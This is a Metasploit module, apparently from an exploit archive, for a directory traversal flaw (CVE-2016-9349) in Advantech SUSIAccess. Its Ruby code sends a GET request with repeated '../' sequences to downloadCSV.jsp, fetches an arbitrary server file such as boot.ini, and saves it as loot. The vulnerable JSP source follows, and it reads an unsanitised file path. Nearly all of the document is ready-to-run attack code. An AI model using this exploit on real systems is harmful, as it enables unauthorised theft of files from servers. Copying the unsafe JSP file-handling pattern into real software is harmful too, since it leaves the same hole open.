Advantech SUSIAccess < 3.0 - Directory Traversal / Information Disclosure (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Auxiliary Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure', 'Description' => %q{ This module exploits an information disclosure vulnerability found in Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when sending a GET request to the server with a series of dot dot slashes (../) in the file parameter. }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-9349' ], [ 'ZDI', '16-628' ], [ 'BID', '94629' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ] ], 'DisclosureDate' => 'Dec 13 2016')) register_options( [ OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]), OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']), Opt::RPORT(8080) ], self.class ) end def run depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH'] levels = "/" + ("../" * depth) file = "#{levels}#{datastore['FILE']}" file = file.gsub(/ /, "%20") res = send_request_raw({ 'method' => 'GET', 'uri' => "/downloadCSV.jsp?file=#{file}", }) if res and res.code == 200 loot = res.body if not loot or loot.empty? print_status("File from #{rhost}:#{rport} is empty...") return end file = ::File.basename(datastore['FILE']) path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE']) print_status("Stored #{datastore['FILE']} to #{path}") return else print_error("Something went wrong... Application returned a #{res.code}") end end end __END__ <%@ page import="java.util.*,java.io.*" %> <% File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") ); //set the content type(can be excel/word/powerpoint etc..) response.setContentType ("application/csv"); //set the header and also the Name by which user will be prompted to save response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\""); //get the file name String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length()); //OPen an input stream to the file and post the file contents thru the //servlet output stream to the client m/c InputStream in = new FileInputStream(f); ServletOutputStream outs = response.getOutputStream(); int bit = 256; int i = 0; try { while ((bit) >= 0) { bit = in.read(); outs.write(bit); } //System.out.println("" +bit); } catch (IOException ioe) { ioe.printStackTrace(System.out); } // System.out.println( "n" + i + " bytes sent."); // System.out.println( "n" + f.length() + " bytes sent."); outs.flush(); outs.close(); in.close(); %> |